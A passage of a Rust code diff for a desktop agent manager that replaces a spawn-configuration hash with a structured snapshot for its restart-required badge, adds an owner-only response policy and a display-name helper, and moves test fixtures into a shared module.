-341,19 +341,6 @@ pub fn build_managed_agent_summary( }) } -/// Pure predicate: should the "Restart required" badge fire? -/// -/// An orphaned linked instance (its persona/definition no longer exists) -/// can never be restarted successfully — `spawn_agent_child` refuses to -/// spawn it before any process side effect. Surfacing "Restart required" -/// for one would offer an action guaranteed to fail, so this always -/// returns `false` for an orphan regardless of drift. Extracted for unit -/// testing without `AppHandle`/global state, following the -/// `availability_drift` pattern in `discovery.rs`. -fn restart_eligible(persona_orphaned: bool, hash_drift: bool, availability_drift: bool) -> bool { - !persona_orphaned && (hash_drift || availability_drift) -} - pub fn find_managed_agent_mut<'a>( records: &'a mut [ManagedAgentRecord], pubkey: &str, @@ -381,44 +368,7 @@ pub(crate) fn build_respond_to_env( record: &ManagedAgentRecord, owner_hex: Option<&str>, ) -> Result { - // Defensive re-validation: an on-disk record could have been hand-edited. - let normalized = super::types::validate_respond_to_allowlist(&record.respond_to_allowlist)?; - if record.respond_to == super::types::RespondTo::Allowlist && normalized.is_empty() { - return Err( - "respond-to mode 'allowlist' requires at least one pubkey in the allowlist".to_string(), - ); - } - - let mut set: Vec<(&'static str, String)> = Vec::new(); - let mut remove: Vec<&'static str> = Vec::new(); - - set.push(( - "BUZZ_ACP_RESPOND_TO", - record.respond_to.as_str().to_string(), - )); - - if record.respond_to == super::types::RespondTo::Allowlist { - set.push(("BUZZ_ACP_RESPOND_TO_ALLOWLIST", normalized.join(","))); - } else { - remove.push("BUZZ_ACP_RESPOND_TO_ALLOWLIST"); - } - - // Legacy fallback: agents created before NIP-OA lack `auth_tag`. Without - // it the harness can't resolve the owner, and owner-dependent gate modes - // would drop every event. Forwarding the workspace owner pubkey via - // BUZZ_ACP_AGENT_OWNER keeps those records functional. Modern records - // (`auth_tag = Some(...)`) use `BUZZ_AUTH_TAG` as before. - if record.auth_tag.is_none() { - if let Some(owner) = owner_hex { - set.push(("BUZZ_ACP_AGENT_OWNER", owner.to_string())); - } else { - remove.push("BUZZ_ACP_AGENT_OWNER"); - } - } else { - remove.push("BUZZ_ACP_AGENT_OWNER"); - } - - Ok((set, remove)) + build_respond_to_env_with_policy(record, owner_hex, super::owner_only()) } pub(crate) fn configure_runtime_cli( @@ -474,7 +424,7 @@ pub fn spawn_agent_child( let global = crate::managed_agents::load_global_agent_config(app).unwrap_or_default(); // Resolve model/provider/prompt ONCE, here, at the shared spawn boundary — - // the single source both the env writes below and `spawn_config_hash` + // the single source both the env writes below and the spawn-config snapshot // read from. Previously prompt was read from the record's own (possibly // stale, Phase-A-snapshot) bytes while model/provider were resolved live // from `personas`; a definition edit landing between a caller's snapshot @@ -491,8 +441,9 @@ pub fn spawn_agent_child( // Single typed resolver: validates runtime id (dangling harness → Err), resolves // command, args (instance wins over definition default), and the full env layer stack. - // This is the sole path for harness-definition lookup — spawn, hash, summary, and - // model probes all consume this descriptor rather than assembling values inline. + // This is the sole path for harness-definition lookup — spawn, snapshot, + // summary, and model probes all consume this descriptor rather than + // assembling values inline. // Like the orphan refusal above, this runs before any side effect so a refused // spawn leaves no trace. let descriptor = @@ -713,12 +664,9 @@ pub fn spawn_agent_child( ); } } - // Only emit BUZZ_ACP_IDLE_TIMEOUT when the user has explicitly set an - // override. When unset, the buzz-acp harness applies its own default - // (see `DEFAULT_IDLE_TIMEOUT_SECS` in crates/buzz-acp/src/config.rs), - // which is the single source of truth. The previously-emitted - // `BUZZ_ACP_TURN_TIMEOUT` is deprecated upstream and was pinning every - // agent to the desktop's stale default (320s), bypassing harness bumps. + // Emit BUZZ_ACP_IDLE_TIMEOUT only when explicitly set; the harness + // DEFAULT_IDLE_TIMEOUT_SECS is the single source of truth. The deprecated + // BUZZ_ACP_TURN_TIMEOUT pinned agents to a stale default (320s). if let Some(idle) = record.idle_timeout_seconds { command.env("BUZZ_ACP_IDLE_TIMEOUT", idle.to_string()); } @@ -726,7 +674,8 @@ pub fn spawn_agent_child( if let Some(max_dur) = record.max_turn_duration_seconds { command.env("BUZZ_ACP_MAX_TURN_DURATION", max_dur.to_string()); } - command.env("BUZZ_ACP_AGENTS", record.parallelism.to_string()); + let acp_n = super::acp_agents_value(effective_command, record.parallelism); + command.env("BUZZ_ACP_AGENTS", acp_n); command.env("BUZZ_ACP_MULTIPLE_EVENT_HANDLING", "steer"); command.env("BUZZ_ACP_DEDUP", "queue"); if let Some(meta) = runtime_meta { @@ -736,7 +685,7 @@ pub fn spawn_agent_child( } } } - let team_instructions = super::spawn_hash::effective_team_instructions(record, &teams); + let team_instructions = super::spawn_snapshot::effective_team_instructions(record, &teams); if let Some(instructions) = &team_instructions { command.env("BUZZ_ACP_TEAM_INSTRUCTIONS", instructions); } else { @@ -744,8 +693,8 @@ pub fn spawn_agent_child( } // Prompt, model, and provider all come from the single `effective_cfg` - // resolved at the top of this function — the SAME resolve `spawn_config_hash` - // performs below, so env write and restart badge cannot disagree. Linked + // resolved at the top of this function — the SAME resolve the spawn-config + // snapshot reads, so env write and restart badge cannot disagree. Linked // instances never consult the record's own model/provider/prompt bytes; // definition-less instances fall back to their own fields, then global. // @@ -771,13 +720,13 @@ pub fn spawn_agent_child( } // Session title for the harness to pass out-of-band on `session/new`. The // adapter names the session after it; it never reaches the prompt, so this - // is display metadata only. `spawn_config_hash` hashes the same resolve, so - // a rename raises the restart badge instead of leaving the process stale. - if let Some(title) = resolve_session_title(record.display_name.as_deref(), &record.name) { - command.env(SESSION_TITLE_ENV_VAR, title); - } else { - command.env_remove(SESSION_TITLE_ENV_VAR); - } + // is display metadata only. The spawn-config snapshot records the same + // resolve, so a rename raises the restart badge instead of leaving the + // process stale. + apply_agent_display_env( + &mut command, + resolve_session_title(record.display_name.as_deref(), &record.name), + ); build_buzz_agent_provider_defaults(&mut command); if let Some(meta) = runtime_meta { for (key, value) in runtime_metadata_env_vars( @@ -882,6 +831,22 @@ pub fn spawn_agent_child( .env("BUZZ_MANAGED_AGENT", current_instance_id(app)) .env("BUZZ_MANAGED_AGENT_START_NONCE", &start_nonce); + // Stamp the effective spawn config from the values that populated the + // `Command` above, BEFORE spawning. Re-resolving after `spawn()` would let + // a persona/harness/global edit landing in between stamp the NEW config + // onto a child running the OLD one, silently suppressing the badge. + let spawn_config = super::spawn_snapshot::SpawnConfigSnapshot::from_inputs( + super::spawn_snapshot::SpawnConfigInputs { + record, + descriptor: &descriptor, + relay_url: &effective_relay_url, + team_instructions: team_instructions.as_deref(), + system_prompt: effective_prompt.as_deref(), + model: effective_model.as_deref(), + provider: effective_provider.as_deref(), + }, + ); + // Spawn the harness in its own process group so we can kill the entire // tree (harness + MCP servers + agent subprocesses) on shutdown. #[cfg(unix)] @@ -907,18 +872,6 @@ pub fn spawn_agent_child( ) })?; - // Stamp the effective spawn config so the summary builder can flag - // needs_restart when disk state drifts from what this process runs. - // `effective_relay_url` is already resolved, and resolution is idempotent, - // so it serves as the workspace-relay input here. - let spawn_config_hash = super::spawn_hash::spawn_config_hash( - record, - &personas, - &teams, - &effective_relay_url, - &global, - ); - // Stamp the adapter availability for runtimes with a version gate (codex // only). The summary builder compares this against the current cached value // to detect out-of-band adapter changes after spawn (Phase-2 badge fallback). @@ -941,7 +894,7 @@ pub fn spawn_agent_child( return Ok(super::process_lifecycle::finish_spawn( child, log_path, - spawn_config_hash, + spawn_config, spawned_setup_mode, spawned_adapter_availability, start_nonce, @@ -951,7 +904,7 @@ pub fn spawn_agent_child( Ok(crate::managed_agents::ManagedAgentProcess { child, log_path, - spawn_config_hash, + spawn_config, setup_mode: spawned_setup_mode, adapter_availability: spawned_adapter_availability, start_nonce, @@ -1023,5 +976,8 @@ pub fn start_managed_agent_process( Ok(()) } +#[cfg(test)] +mod test_fixtures; + #[cfg(test)] mod tests; diff --git a/desktop/src-tauri/src/managed_agents/runtime/metadata.rs b/desktop/src-tauri/src/managed_agents/runtime/metadata.rs index 288ce06b0a..5aef424ea6 100644 --- a/desktop/src-tauri/src/managed_agents/runtime/metadata.rs +++ b/desktop/src-tauri/src/managed_agents/runtime/metadata.rs @@ -25,8 +25,25 @@ pub(crate) fn runtime_metadata_env_vars<'a>( } /// Env var carrying the session title to the harness. Shared with -/// `spawn_hash` so the restart badge hashes the same key the spawn writes. +/// `spawn_snapshot` so the restart badge records the same key the spawn writes. pub(crate) const SESSION_TITLE_ENV_VAR: &str = "BUZZ_ACP_SESSION_TITLE"; +/// Stable agent display name forwarded to the ACP tool surface for git +/// attribution and private-conversation provenance. +pub(crate) const DISPLAY_NAME_ENV_VAR: &str = "BUZZ_ACP_DISPLAY_NAME"; + +/// Apply the shared stable agent name to both session display metadata and +/// git attribution, clearing both keys when no usable name is available. +pub(crate) fn apply_agent_display_env(command: &mut std::process::Command, title: Option) { + if let Some(title) = title { + command + .env(SESSION_TITLE_ENV_VAR, &title) + .env(DISPLAY_NAME_ENV_VAR, title); + } else { + command + .env_remove(SESSION_TITLE_ENV_VAR) + .env_remove(DISPLAY_NAME_ENV_VAR); + } +} /// Resolve the session title for an agent: its `display_name` when it has one, /// otherwise its unique `name` handle. `None` when both are blank, so the @@ -57,32 +74,6 @@ pub(crate) fn resolve_session_title(display_name: Option<&str>, name: &str) -> O .find(|value| !value.is_empty()) } -/// Resolve effective prompt/model/provider using definition-authoritative -/// semantics for linked instances. -/// -/// Used by `agent_config.rs` to inject persona defaults into the config surface -/// before running the reader. -pub(crate) fn resolve_effective_prompt_model_provider( - persona_id: Option<&str>, - personas: &[crate::managed_agents::types::AgentDefinition], - record_prompt: Option, - record_model: Option, - record_provider: Option, -) -> (Option, Option, Option) { - match persona_id.and_then(|pid| personas.iter().find(|p| p.id == pid)) { - Some(p) => { - fn non_blank(v: Option<&str>) -> Option { - v.filter(|s| !s.trim().is_empty()).map(str::to_owned) - } - let prompt = non_blank(Some(&p.system_prompt)); - let model = non_blank(p.model.as_deref()); - let provider = non_blank(p.provider.as_deref()); - (prompt, model, provider) - } - None => (record_prompt, record_model, record_provider), - } -} - #[cfg(test)] mod tests { use super::resolve_session_title; diff --git a/desktop/src-tauri/src/managed_agents/runtime/test_fixtures.rs b/desktop/src-tauri/src/managed_agents/runtime/test_fixtures.rs new file mode 100644 index 0000000000..9836d983ed --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/runtime/test_fixtures.rs @@ -0,0 +1,93 @@ +use crate::managed_agents::types::{ManagedAgentRecord, RespondTo}; + +pub(super) const EXPECTED_ACCESS_ENV: &str = "BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY"; + +pub(super) fn expected_owner_only() -> bool { + match std::env::var(EXPECTED_ACCESS_ENV) { + Ok(value) => value + .parse::() + .unwrap_or_else(|_| panic!("{EXPECTED_ACCESS_ENV} must be true or false")), + Err(std::env::VarError::NotPresent) + if !crate::managed_agents::owner_only_access_build() => + { + false + } + Err(std::env::VarError::NotPresent) => { + panic!("{EXPECTED_ACCESS_ENV} must be set for owner-only-access-build tests") + } + Err(std::env::VarError::NotUnicode(_)) => { + panic!("{EXPECTED_ACCESS_ENV} must be valid UTF-8") + } + } +} + +pub(super) fn expected_mode(oss_mode: &'static str) -> &'static str { + if expected_owner_only() { + "owner-only" + } else { + oss_mode + } +} + +/// Construct a minimal record fixture for runtime tests. +pub(super) fn fixture( + respond_to: RespondTo, + allowlist: Vec, + auth_tag: Option, +) -> ManagedAgentRecord { + ManagedAgentRecord { + pubkey: "p".into(), + name: "n".into(), + persona_id: None, + private_key_nsec: "nsec1fake".into(), + auth_tag, + relay_url: "ws://localhost:3000".into(), + avatar_url: None, + acp_command: "buzz-acp".into(), + agent_command: "goose".into(), + agent_command_override: None, + agent_args: vec![], + mcp_command: String::new(), + turn_timeout_seconds: 320, + idle_timeout_seconds: None, + max_turn_duration_seconds: None, + parallelism: 1, + system_prompt: None, + model: None, + provider: None, + persona_source_version: None, + env_vars: std::collections::BTreeMap::new(), + start_on_app_launch: false, + auto_restart_on_config_change: true, + runtime_pid: None, + backend: Default::default(), + backend_agent_id: None, + provider_binary_path: None, + team_id: None, + persona_team_dir: None, + persona_name_in_team: None, + created_at: "now".into(), + updated_at: "now".into(), + last_started_at: None, + last_stopped_at: None, + last_exit_code: None, + last_error: None, + last_error_code: None, + respond_to, + respond_to_allowlist: allowlist, + display_name: None, + slug: None, + runtime: None, + name_pool: Vec::new(), + is_builtin: false, + is_active: true, + shared: false, + source_team: None, + source_team_persona_slug: None, + catalog_source: None, + definition_respond_to: None, + definition_respond_to_allowlist: Vec::new(), + definition_parallelism: None, + relay_mesh: None, + } +} diff --git a/desktop/src-tauri/src/managed_agents/runtime/tests.rs b/desktop/src-tauri/src/managed_agents/runtime/tests.rs index 3f6ee996f6..762b0fe2a6 100644 --- a/desktop/src-tauri/src/managed_agents/runtime/tests.rs +++ b/desktop/src-tauri/src/managed_agents/runtime/tests.rs @@ -117,73 +117,10 @@ fn unknown_command_returns_none() { // ── build_respond_to_env tests ─────────────────────────────────────── -use super::build_respond_to_env; +use super::test_fixtures::{expected_mode, expected_owner_only, fixture}; +use super::{build_respond_to_env, build_respond_to_env_with_policy}; use crate::managed_agents::types::{ManagedAgentRecord, RespondTo}; -/// Construct a minimal record fixture for env-building tests. Only the -/// fields read by `build_respond_to_env` matter here. -fn fixture( - respond_to: RespondTo, - allowlist: Vec, - auth_tag: Option, -) -> ManagedAgentRecord { - ManagedAgentRecord { - pubkey: "p".into(), - name: "n".into(), - persona_id: None, - private_key_nsec: "nsec1fake".into(), - auth_tag, - relay_url: "ws://localhost:3000".into(), - avatar_url: None, - acp_command: "buzz-acp".into(), - agent_command: "goose".into(), - agent_command_override: None, - agent_args: vec![], - mcp_command: String::new(), - turn_timeout_seconds: 320, - idle_timeout_seconds: None, - max_turn_duration_seconds: None, - parallelism: 1, - system_prompt: None, - model: None, - provider: None, - persona_source_version: None, - env_vars: std::collections::BTreeMap::new(), - start_on_app_launch: false, - auto_restart_on_config_change: true, - runtime_pid: None, - backend: Default::default(), - backend_agent_id: None, - provider_binary_path: None, - team_id: None, - persona_team_dir: None, - persona_name_in_team: None, - created_at: "now".into(), - updated_at: "now".into(), - last_started_at: None, - last_stopped_at: None, - last_exit_code: None, - last_error: None, - last_error_code: None, - respond_to, - respond_to_allowlist: allowlist, - display_name: None, - slug: None, - runtime: None, - name_pool: Vec::new(), - is_builtin: false, - is_active: true, - shared: false, - source_team: None, - source_team_persona_slug: None, - catalog_source: None, - definition_respond_to: None, - definition_respond_to_allowlist: Vec::new(), - definition_parallelism: None, - relay_mesh: None, - } -} - #[test] fn build_env_owner_only_sets_mode_and_removes_others() { let rec = fixture(RespondTo::OwnerOnly, vec![], Some("tag".into())); @@ -195,6 +132,18 @@ fn build_env_owner_only_sets_mode_and_removes_others() { ); assert!(!set_map.contains_key("BUZZ_ACP_RESPOND_TO_ALLOWLIST")); assert!(remove.contains(&"BUZZ_ACP_RESPOND_TO_ALLOWLIST")); + if expected_owner_only() { + assert_eq!( + set_map + .get("BUZZ_ACP_ALLOWED_RESPOND_TO") + .map(String::as_str), + Some("owner-only") + ); + assert!(!remove.contains(&"BUZZ_ACP_ALLOWED_RESPOND_TO")); + } else { + assert!(!set_map.contains_key("BUZZ_ACP_ALLOWED_RESPOND_TO")); + assert!(remove.contains(&"BUZZ_ACP_ALLOWED_RESPOND_TO")); + } // auth_tag is present → no AGENT_OWNER fallback fires. assert!(remove.contains(&"BUZZ_ACP_AGENT_OWNER")); } @@ -214,14 +163,19 @@ fn build_env_allowlist_sets_both_envs_and_joins() { let set_map: std::collections::HashMap<_, _> = set.into_iter().collect(); assert_eq!( set_map.get("BUZZ_ACP_RESPOND_TO").map(String::as_str), - Some("allowlist") - ); - assert_eq!( - set_map - .get("BUZZ_ACP_RESPOND_TO_ALLOWLIST") - .map(String::as_str), - Some(format!("{a},{b}").as_str()), + Some(expected_mode("allowlist")), + "runtime wrapper did not apply the declared build policy", ); + if expected_owner_only() { + assert!(!set_map.contains_key("BUZZ_ACP_RESPOND_TO_ALLOWLIST")); + } else { + assert_eq!( + set_map + .get("BUZZ_ACP_RESPOND_TO_ALLOWLIST") + .map(String::as_str), + Some(format!("{a},{b}").as_str()), + ); + } } #[test] @@ -231,7 +185,30 @@ fn build_env_anyone_omits_allowlist_var() { let set_map: std::collections::HashMap<_, _> = set.into_iter().collect(); assert_eq!( set_map.get("BUZZ_ACP_RESPOND_TO").map(String::as_str), - Some("anyone") + Some(expected_mode("anyone")), + "runtime wrapper did not apply the declared build policy", + ); + assert!(!set_map.contains_key("BUZZ_ACP_RESPOND_TO_ALLOWLIST")); + assert!(remove.contains(&"BUZZ_ACP_RESPOND_TO_ALLOWLIST")); +} + +#[test] +fn owner_only_access_policy_overrides_stale_anyone_record_at_runtime() { + let rec = fixture(RespondTo::Anyone, vec!["a".repeat(64)], Some("tag".into())); + let (set, remove) = build_respond_to_env_with_policy(&rec, Some("owner"), true).unwrap(); + let set_map: std::collections::HashMap<_, _> = set.into_iter().collect(); + + assert_eq!( + set_map.get("BUZZ_ACP_RESPOND_TO").map(String::as_str), + Some("owner-only"), + "owner-only-access runtime env widened stale access", + ); + assert_eq!( + set_map + .get("BUZZ_ACP_ALLOWED_RESPOND_TO") + .map(String::as_str), + Some("owner-only"), + "owner-only-access runtime env omitted the owner-only guard", ); assert!(!set_map.contains_key("BUZZ_ACP_RESPOND_TO_ALLOWLIST")); assert!(remove.contains(&"BUZZ_ACP_RESPOND_TO_ALLOWLIST")); @@ -271,8 +248,17 @@ fn build_env_rejects_corrupted_allowlist() { #[test] fn build_env_rejects_empty_allowlist_in_allowlist_mode() { let rec = fixture(RespondTo::Allowlist, vec![], Some("tag".into())); - let err = build_respond_to_env(&rec, Some("owner")).unwrap_err(); - assert!(err.contains("at least one pubkey")); + if expected_owner_only() { + let (set, _) = build_respond_to_env(&rec, Some("owner")).unwrap(); + let set_map: std::collections::HashMap<_, _> = set.into_iter().collect(); + assert_eq!( + set_map.get("BUZZ_ACP_RESPOND_TO").map(String::as_str), + Some("owner-only") + ); + } else { + let err = build_respond_to_env(&rec, Some("owner")).unwrap_err(); + assert!(err.contains("at least one pubkey")); + } } // ── persona fixture helpers ───────────────────────────────────────── @@ -1271,7 +1257,13 @@ fn make_pair_runtime_placeholder() -> crate::managed_agents::ManagedAgentPairRun let process = crate::managed_agents::ManagedAgentProcess { child, log_path: std::path::PathBuf::new(), - spawn_config_hash: 0, + spawn_config: crate::managed_agents::spawn_snapshot::prospective_spawn_config_snapshot( + &minimal_record(&"cc".repeat(32)), + &[], + &[], + "wss://relay.example", + &Default::default(), + ), setup_mode: false, adapter_availability: None, start_nonce: "test-nonce".to_string(), @@ -1280,37 +1272,3 @@ fn make_pair_runtime_placeholder() -> crate::managed_agents::ManagedAgentPairRun }; crate::managed_agents::ManagedAgentPairRuntime::starting(process) } - -// ── restart_eligible tests ────────────────────────────────────────────── - -#[test] -fn restart_eligible_true_when_non_orphan_has_hash_drift() { - assert!(super::restart_eligible(false, true, false)); -} - -#[test] -fn restart_eligible_true_when_non_orphan_has_availability_drift() { - assert!(super::restart_eligible(false, false, true)); -} - -#[test] -fn restart_eligible_false_when_orphan_has_hash_drift() { - // An orphan can never be restarted successfully — spawn refuses it — - // so hash drift alone must not surface "Restart required". - assert!(!super::restart_eligible(true, true, false)); -} - -#[test] -fn restart_eligible_false_when_orphan_has_availability_drift() { - assert!(!super::restart_eligible(true, false, true)); -} - -#[test] -fn restart_eligible_false_when_orphan_has_no_drift() { - assert!(!super::restart_eligible(true, false, false)); -} - -#[test] -fn restart_eligible_false_when_non_orphan_has_no_drift() { - assert!(!super::restart_eligible(false, false, false)); -} diff --git a/desktop/src-tauri/src/managed_agents/spawn_hash.rs b/desktop/src-tauri/src/managed_agents/spawn_hash.rs deleted file mode 100644 index 648cc62bbe..0000000000 --- a/desktop/src-tauri/src/managed_agents/spawn_hash.rs +++ /dev/null @@ -1,160 +0,0 @@ -//! Spawn-time config hash for the restart-required badge. -//! -//! [`spawn_config_hash`] digests the *effective spawned values* — what a -//! process launch of `record` would actually receive — so the UI can compare -//! a running process's hash (stamped on [`super::ManagedAgentProcess`] at -//! spawn) against a recomputation from current disk state and show a -//! "restart required" badge only when a restart would change what runs. -//! -//! Scope rules (decided in #centralize-personas-and-agents, revised in PR -//! #1602 review): -//! - Inputs mirror what a start would actually run: the start/restore paths -//! re-snapshot the linked persona's prompt/model/provider/env onto the -//! record immediately before spawning (`start_local_agent_with_preflight`, -//! `restore_managed_agents_on_launch`), so persona edits to those fields DO -//! apply on a plain restart and are hashed via the same prospective -//! re-snapshot. Harness command, args/mcp, env layering, and the record -//! fields the spawn env writes read are hashed as spawn resolves them. -//! - The relay URL is hashed in resolved form (`effective_agent_relay_url`): -//! every record spawns against the active workspace relay (legacy per-record -//! pins are ignored), so a workspace relay change means a restart would -//! change what runs. -//! - Channel membership is not an input: agents pick up channel changes live -//! (#1468), never via restart. -//! -//! The hash never crosses a process or persistence boundary, so -//! `DefaultHasher` (not stable across Rust releases) is sufficient. - -use std::hash::{DefaultHasher, Hash, Hasher}; - -use super::{ - effective_config::{resolve_effective_config, EffectiveConfigResult}, - known_acp_runtime, normalize_agent_args, - persona_events::preview_prospective_persona_snapshot, - runtime::{resolve_session_title, SESSION_TITLE_ENV_VAR}, - types::{AgentDefinition, ManagedAgentRecord, TeamRecord}, - GlobalAgentConfig, -}; - -/// Resolve the current instructions for this instance's deployment-time team binding. -/// A deleted team deliberately degrades to no team section. -pub(crate) fn effective_team_instructions( - record: &ManagedAgentRecord, - teams: &[TeamRecord], -) -> Option { - teams - .iter() - .find(|team| Some(team.id.as_str()) == record.team_id.as_deref()) - .and_then(|team| team.instructions.as_deref()) - .map(str::trim) - .filter(|instructions| !instructions.is_empty()) - .map(str::to_string) -} - -/// Digest the effective spawn configuration of `record` under the current -/// `personas`, resolving a blank record relay against `workspace_relay`. -/// Pure — no `AppHandle`, no disk, no keyring. -pub(crate) fn spawn_config_hash( - record: &ManagedAgentRecord, - personas: &[AgentDefinition], - teams: &[TeamRecord], - workspace_relay: &str, - global: &GlobalAgentConfig, -) -> u64 { - // Prospective re-snapshot: apply the same `apply_persona_snapshot` the - // start/restore paths run right before spawning, so the hash covers what a - // restart would actually run. Idempotent, so the spawn-time stamp - // (post-snapshot record) and later recomputes (persisted record) agree - // when nothing changed. The persona env itself reaches the hash through - // the descriptor's layered env below; `persona_source_version` is set on - // the clone but is not a hash input. - let record = preview_prospective_persona_snapshot(record, personas); - let record = &record; - - // Resolve command, args, and env via the single typed descriptor — same path - // as spawn_agent_child. Dangling harness id falls back to the infallible - // record_agent_command (no-op: a dangling harness can't be spawned, so the - // hash never matters for that agent). - let descriptor = - crate::managed_agents::resolve_effective_harness_descriptor(record, personas, global) - .unwrap_or_else(|_| { - let cmd = crate::managed_agents::record_agent_command(record, personas); - let args = normalize_agent_args(&cmd, record.agent_args.clone()); - crate::managed_agents::readiness::EffectiveHarnessDescriptor { - command: cmd, - args, - env: Default::default(), - } - }); - let runtime_meta = known_acp_runtime(&descriptor.command); - - let mut hasher = DefaultHasher::new(); - - // Harness identity and derivations (live-persona-resolved, like spawn). - record.acp_command.hash(&mut hasher); - descriptor.command.hash(&mut hasher); - descriptor.args.hash(&mut hasher); - runtime_meta - .and_then(|r| r.mcp_command) - .unwrap_or("") - .hash(&mut hasher); - - // Effective env layering (baked floor → runtime metadata → definition env - // → global → persona → agent). BTreeMap iteration is ordered, deterministic. - descriptor.env.hash(&mut hasher); - - // Record fields the spawn env writes read directly. The relay is hashed - // resolved: every record spawns on the workspace relay (legacy pins - // ignored), so a workspace relay change must trip the badge. - crate::relay::effective_agent_relay_url(&record.relay_url, workspace_relay).hash(&mut hasher); - // Team instructions use the same resolver as spawn. - effective_team_instructions(record, teams).hash(&mut hasher); - // Prompt, model, and provider all come from ONE `resolve_effective_config` - // call — the SAME resolve `spawn_agent_child` performs for the env write, - // so env write and this badge cannot disagree. An orphaned link (missing - // definition) hashes as if all three were absent: `spawn_agent_child` - // refuses to spawn an orphan regardless, so this is a display-only - // convenience, not the spawn gate. - let (resolved_prompt, resolved_model, resolved_provider) = - match resolve_effective_config(record, personas, global) { - EffectiveConfigResult::Resolved(cfg) => { - (cfg.system_prompt.value, cfg.model.value, cfg.provider.value) - } - EffectiveConfigResult::OrphanedInstance { .. } => (None, None, None), - }; - resolved_prompt.hash(&mut hasher); - resolved_model.hash(&mut hasher); - resolved_provider.hash(&mut hasher); - // Session title: the same resolve `spawn_agent_child` performs for its env - // write, so a rename raises the restart badge. Skipped when a user env - // override shadows it — spawn writes the title BEFORE the user env layer, - // so the override is what actually runs, and it already reaches this hash - // through `descriptor.env` above. Hashing the record-derived value under an - // override would badge a rename that changes nothing. - let effective_session_title = (!descriptor.env.contains_key(SESSION_TITLE_ENV_VAR)) - .then(|| resolve_session_title(record.display_name.as_deref(), &record.name)) - .flatten(); - effective_session_title.hash(&mut hasher); - record.auth_tag.hash(&mut hasher); - record.respond_to.as_str().hash(&mut hasher); - // The allowlist is hashed as the env receives it: spawn sets - // BUZZ_ACP_RESPOND_TO_ALLOWLIST only in allowlist mode, and normalized - // (trim/lowercase/dedup via `validate_respond_to_allowlist`) — so edits - // that don't survive normalization, or edits while another mode is - // active, must not badge. A list spawn would reject hashes raw: the - // stamped hash comes from a successful spawn, so any invalid edit - // correctly compares unequal. - if record.respond_to == super::types::RespondTo::Allowlist { - super::types::validate_respond_to_allowlist(&record.respond_to_allowlist) - .unwrap_or_else(|_| record.respond_to_allowlist.clone()) - .hash(&mut hasher); - } - record.idle_timeout_seconds.hash(&mut hasher); - record.max_turn_duration_seconds.hash(&mut hasher); - record.parallelism.hash(&mut hasher); - - hasher.finish() -} - -#[cfg(test)] -mod tests; diff --git a/desktop/src-tauri/src/managed_agents/spawn_snapshot.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot.rs new file mode 100644 index 0000000000..ba2129c984 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot.rs @@ -0,0 +1,269 @@ +//! Spawn-time config snapshot for the restart-required badge. +//! +//! [`SpawnConfigSnapshot`] captures the *effective spawned values* — what a +//! process launch of a record would actually receive. The running process +//! stamps one on [`super::ManagedAgentProcess`] at spawn; the summary builder +//! recomputes a prospective one from current disk state and compares. Drift +//! means a restart would change what runs, and the field-by-field difference +//! is what the UI shows (see [`diff`]). +//! +//! Scope rules (decided in #centralize-personas-and-agents, revised in PR +//! #1602 review): +//! - Inputs mirror what a start would actually run: the start/restore paths +//! re-snapshot the linked persona's prompt/model/provider/env onto the +//! record immediately before spawning (`start_local_agent_with_preflight`, +//! `restore_managed_agents_on_launch`), so persona edits to those fields DO +//! apply on a plain restart and reach the prospective snapshot via the same +//! re-snapshot. Harness command, args/mcp, env layering, and the record +//! fields the spawn env writes read are captured as spawn resolves them. +//! - The relay URL is captured in resolved form (`effective_agent_relay_url`): +//! every record spawns against the active workspace relay (legacy per-record +//! pins are ignored), so a workspace relay change means a restart would +//! change what runs. +//! - Channel membership is not an input: agents pick up channel changes live +//! (#1468), never via restart. +//! +//! The snapshot never crosses a process or persistence boundary — it is +//! runtime state only, held on the running `ManagedAgentProcess`. + +use std::collections::BTreeMap; + +use serde::Serialize; + +use super::{ + effective_config::{resolve_effective_config, EffectiveConfigResult}, + known_acp_runtime, normalize_agent_args, + persona_events::preview_prospective_persona_snapshot, + readiness::EffectiveHarnessDescriptor, + runtime::{resolve_session_title, SESSION_TITLE_ENV_VAR}, + types::{AgentDefinition, ManagedAgentRecord, TeamRecord}, + GlobalAgentConfig, +}; + +pub(crate) mod diff; +pub(crate) use diff::{eligible_restart_diff, RestartDiffEntry, TrackedSpawnState}; + +/// Resolve the current instructions for this instance's deployment-time team binding. +/// A deleted team deliberately degrades to no team section. +pub(crate) fn effective_team_instructions( + record: &ManagedAgentRecord, + teams: &[TeamRecord], +) -> Option { + teams + .iter() + .find(|team| Some(team.id.as_str()) == record.team_id.as_deref()) + .and_then(|team| team.instructions.as_deref()) + .map(str::trim) + .filter(|instructions| !instructions.is_empty()) + .map(str::to_string) +} + +/// The already-resolved values a spawn feeds into its `Command`. +/// +/// Taking them rather than re-resolving is what makes the stamp describe the +/// process that was actually launched: a persona/harness/global edit landing +/// between spawn's resolution and the stamp can no longer suppress the badge. +pub(crate) struct SpawnConfigInputs<'a> { + pub record: &'a ManagedAgentRecord, + pub descriptor: &'a EffectiveHarnessDescriptor, + /// Resolved workspace/pair relay — never the record's legacy pin. + pub relay_url: &'a str, + pub team_instructions: Option<&'a str>, + pub system_prompt: Option<&'a str>, + pub model: Option<&'a str>, + pub provider: Option<&'a str>, +} + +/// The effective spawn configuration of one managed-agent process. +/// +/// Serialization invariants (load-bearing — the drift comparison and the diff +/// walk both read `canonical()`): +/// - plain derived `Serialize`: no `flatten`, no `skip_serializing_if`, no +/// custom or fallible field serializers, no colliding serialized names, so +/// every field is always present on both sides of a comparison; +/// - `Option::None` serializes as JSON `null`; a *missing* key is reserved for +/// dynamic-map membership (`env.` added/removed); +/// - arrays are atomic leaves — `args` and `respond_to_allowlist` compare and +/// render whole, never element-wise. +/// +/// `Debug` is implemented by hand: [`ManagedAgentProcess`] derives `Debug`, so +/// a derived impl here would print env values, auth tags, and CLI arguments. +/// +/// [`ManagedAgentProcess`]: super::ManagedAgentProcess +#[derive(Clone, Serialize)] +pub(crate) struct SpawnConfigSnapshot { + /// The ACP harness binary the desktop launches (`buzz-acp`). + pub acp_command: String, + /// The effective agent command the harness drives. + pub command: String, + pub args: Vec, + /// Catalog-derived from `command`; `""` when the runtime has none. + pub mcp_command: String, + /// Fully layered process env: baked floor -> runtime metadata -> + /// definition -> global -> persona -> agent. + pub env: BTreeMap, + pub relay_url: String, + pub team_instructions: Option, + pub system_prompt: Option, + 